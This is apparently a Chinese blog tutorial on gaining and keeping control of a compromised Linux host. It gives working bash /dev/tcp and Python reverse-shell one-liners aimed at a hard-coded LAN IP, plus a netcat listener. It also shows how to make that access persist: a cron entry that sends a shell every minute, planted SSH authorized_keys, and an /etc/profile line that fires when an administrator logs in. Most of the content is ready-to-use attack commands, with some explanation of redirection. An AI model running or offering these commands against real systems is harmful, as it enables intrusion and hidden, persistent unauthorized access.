目录

Bash反弹shell

Python反弹shell

写入命令到定时任务文件

写入SSH公钥

写入/etc/profile文件


当我们可以在远程Linux主机上执行任意命令或写入任意数据到任意文件的时候,我们通常会通过以下方式控制远程主机。

Bash反弹shell

Linux 反弹 shell 使用下面这条命令,该命令弹回来的shell是不可交互的,也就是比如 vim、passwd 命令不能用

bash -i >& /dev/tcp/192.168.10.27/4444 0>&1   #将shell环境转发到192.168.10.32的4444端口上

然后客户端用 netcat 进行接收

nc -lvp  4444  #监听4444端口

使用什么样的用户反弹的 shell,还是当前用户的权限。

注:只有拥有 /bin/bash 的用户,才能使用该命令,如apache等web用户,无法使用该命令(以下是使用菜刀连接的webshell,获取到的 shell 是 apache 的shell)

那么,这条命令的原理是什么呢?

首先,bash -i 是打开一个交互式的bash终端。传送门—> Linux中的shell和bash

/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。所以,不难理解,/dev/tcp/192.168.10.32/4444   这条命令是意思就是和192.168.10.32主机的4444端口建立一个socket连接。传送门—> Socket套接字和Sockes协议

那么,最难的来了,>&  和  0>&1 是什么意思呢?

要想了解  >&  和  0>&1 ,首先我们了解一下Linux文件描述符和重定向。

linux shell下常用的文件描述符是:

  • 标准输入   (stdin) :代码为 0 ,使用 < 或 <<
  • 标准输出   (stdout):代码为 1 ,使用 > 或 >>
  • 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

而通过查阅资料,发现  >& 和 &> 两者一个意思,都是将标准错误输出合并到标准输出中。

意思就是,如果我们执行一个命令,比如 ls -lh > test ,这样的话,test文件中只会保存我们执行这个命令正常的结果

而如果我们执行命令 ls -lh  >& test 或者 ls -lh &> test  ,这样的话,test文件中既会保存我们执行这个命令正常的结果,也会保存我们执行这个命令出错了的结果。

所以,当我们执行命令:bash -i >& /dev/tcp/192.168.10.32/4444    时,他会与192.168.10.32的4444号端口建立一个socket连接,把bash的标准输出和标准错误输出发给192.168.10.32。也就是获得了他的shell,但是192.168.10.32却不能进行操作。

而通过查阅资料发现, 0>&1  和   0<&1  也是一个意思,都是将标准输入重定向到标准输出中。所以加入 0>&1 的话,就可以接受用户的输入了。

所以,结合上面的:bash -i >& /dev/tcp/192.168.10.32/4444  0>&1   命令是意思是:与192.168.10.32的4444端口建立一个socket连接,把bash的标准输出和标准错误输出发给192.168.10.32。并且可以接受输入,也就是可以进行交互式操作!

所以,学习了这些我们知道,以下这些命令其实都可以用于linux反弹shell。

bash -i >& /dev/tcp/192.168.10.27/4444 0>&1
bash -i >& /dev/tcp/192.168.10.27/4444 0<&1
bash -i $> /dev/tcp/192.168.10.27/4444 0>$1
bash -i $> /dev/tcp/192.168.10.27/4444 0<&1

但是,很多时候,由于我们获取的shell并不是一个具有完整交互的shell,因此可能会在使用过程中被挂起,甚至还可能会因为我们的操作失误,例如不小心摁下了  Ctrl-C ,这将直接终止我们的整个shell进程。或者获得的shell类型是 sh 的,我们使用不习惯

如果目标主机有python环境,我们在用netcat获得了反弹的shell后,可以执行下面的命令,才获得一个正常的shell (可以进行交互的shell) ,可以执行 passwd 命令 ,但是 vim命令还是用不了

python -c 'import pty;pty.spawn("/bin/bash")'

Python反弹shell

使用下面这条命令弹回来的shell也是不可交互的shell,即 vim 和 passwd 等命令用不了

#利用python反弹一个bash类型的shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

使用什么样的用户反弹的 shell,还是当前用户的权限。

注:只有拥有 /bin/bash 的用户,才能使用该命令,如apache等web用户,无法使用该命令(以下是使用菜刀连接的webshell,获取到的 shell 是 apache 的shell)

写入命令到定时任务文件

我们可以在远程主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道远程主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/当前用户命令的文件  内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(debian系列主机)

*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/192.168.10.11/4444 0>&1
#每隔一分钟,向192.168.10.27的4444号端口发送shell

写入SSH公钥

将公钥信息传送到远程主机的 /root/.ssh/ 目录下,并且重命名为  authorized_keys 。如果是其他用户,比如test,那就是 /test/.ssh/ 下。

详细:写入SSH公钥,进行远程登录

写入/etc/profile文件

将以下命令写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

/bin/bash -i>&/dev/tcp/192.168.10.11/4444 0>&1 &

当管理员远程连接该主机时,就会执行该命令。

参考文章:http://bobao.360.cn/learning/detail/3616.html

相关文章:Msfvenonm生成一个后门木马

Linux获取权限的更多相关文章

  1. Linux文件权限;ACL;Setuid、Setgid、Stick bit特殊权限;sudo提权

    相关学习资料 http://blog.sina.com.cn/s/blog_4e2e6d6a0100g47o.html http://blog.csdn.net/aegoose/article/det ...

  2. Linux文件权限与属性详解 之 SUID、SGID & SBIT

    Linux文件权限与属性详解 之 一般权限 Linux文件权限与属性详解 之 ACL Linux文件权限与属性详解 之 SUID.SGID & SBIT Linux文件权限与属性详解 之 ch ...

  3. Linux文件权限与属性详解 之 一般权限

    目录 一般属性 1. iNode: 3152621 2. 文件类型 3.文件访问权限 4. 链接数目: 5. 文件所有者 6. 文件所属组 7. 文件大小 8. 修改时间 9. 文件名称 Linux文 ...

  4. Linux文件权限与属性详解 之 ACL

    Linux文件权限与属性详解 之 一般权限 Linux文件权限与属性详解 之 ACL Linux文件权限与属性详解 之 SUID.SGID & SBIT Linux文件权限与属性详解 之 ch ...

  5. linux文件权限多一个+啥意思

    linux文件权限显示多了一个+,说明添加了acl权限 使用getfacl filename 能查看到 ower group other  还多了一个php 用户有rwx权限. acl详解 转: ht ...

  6. 第十一篇:Linux中权限的再讨论( 下 )

    前言 上篇随笔讲述了Linux中权限的大致实现机制以及目录权限的相关规则.本文将讲解Linux中的三种特殊权限:SUID,SGID,Sticky权限. 看完这两篇文章,你一定会对Linux的权限有个更 ...

  7. Linux 中权限的再讨论( 下 )

    前言 上篇随笔讲述了Linux中权限的大致实现机制以及目录权限的相关规则.本文将讲解Linux中的三种特殊权限:SUID,SGID,Sticky权限.看完这两篇文章,你一定会对Linux的权限有个更深 ...

  8. 环境(8)Linux用户组权限

    一:Linux时间日期-时间同步策略 1.日期与时间 ①时间命令 data:查看当前系统时间 cal :查看日历     cal  2020 修改时间:   date -s  11:11:11    ...

  9. linux用户权限相关内容查看

    linux用户权限相关内容查看 1   用户信息 创建用户一个名为 webuser 的账号,并填写相应的信息: root@iZ94fabhqhuZ:~# adduser webuser Adding ...

随机推荐

  1. C#类中的字段、属性和方法

    C#类中的字段.属性和方法 刚开始学C#,对于类中的字段.属性和方法很难分清,写下这份笔记,帮助理解 字段:与类相关的变量 声明方法与声明变量类似,可在前面添加访问修饰符.static关键字等: 属性 ...

  2. mysql 使用sleep操作 update 来停止一段时间执行语句 [骚操作]

    update mytestTable inner join(select '2' as id, sleep(5)) a on mytestTable.id=a.id set mytestTable.n ...

  3. 强化学习导论 课后习题参考 - Chapter 1,2

    Reinforcement Learning: An Introduction (second edition) - Chapter 1,2 Chapter 1 1.1 Self-Play Suppo ...

  4. springMVC @InitBinder注解

    springMVC @InitBinder注解.setFieldDefaultPrefix则可以在表单用如user.name进行传递属性

  5. 【odoo14】第十六章、odoo web库(OWL)

    odoo14引入了名为OWL(Odoo Web Library)的JavaScript框架.OWL是以组件为基础的UI框架,通过QWeb模板作为架构.OWL与传统的组件系统相比更快,并引入了一些新的特 ...

  6. 关于HDFS存储元数据的NameNode持久化存储

    NameNode持久化场景引入: 问题:NameNode宕机,导致内存中的文件元数据丢失怎么办?我们知道元数据是存储来内存中的,所以一旦宕机,内存数据是会丢失的,因此为了避免数据丢失,HDFS中出现了 ...

  7. POJ_2387 Til the Cows Come Hom 【最短路】

    一.题目 POJ2387 二.分析 Bellman-Ford算法 该算法是求单源最短路的,核心思想就是不断去更新到起点的最短距离,更新的前提是没有负边.如果有负边需要手动控制循环次数. Dijkstr ...

  8. JVM笔记--如果你写JVM,最需要考虑的重要结构是什么?

    开局一张图,前面已经从每一部分解析过JVM的内存结构了,现在按照顺序来分析: 整体上来看:类文件从类加载子系统,加载完成之后,主要存放在方法区(JRockit和H9没有方法区,这里指的是HotSpot ...

  9. ECMAScript 2018(ES9)新特性简介

    目录 简介 异步遍历 Rest/Spread操作符和对象构建 Rest Spread 创建和拷贝对象 Spread和bject.assign() 的区别 正则表达式 promise.finally 模 ...

  10. 使用SignalR ASP.NET Core来简单实现一个后台实时推送数据给Echarts展示图表的功能

    什么是 SignalR ASP.NET Core ASP.NET Core SignalR 是一种开放源代码库,可简化将实时 web 功能添加到应用程序的功能. 实时 web 功能使服务器端代码可以立 ...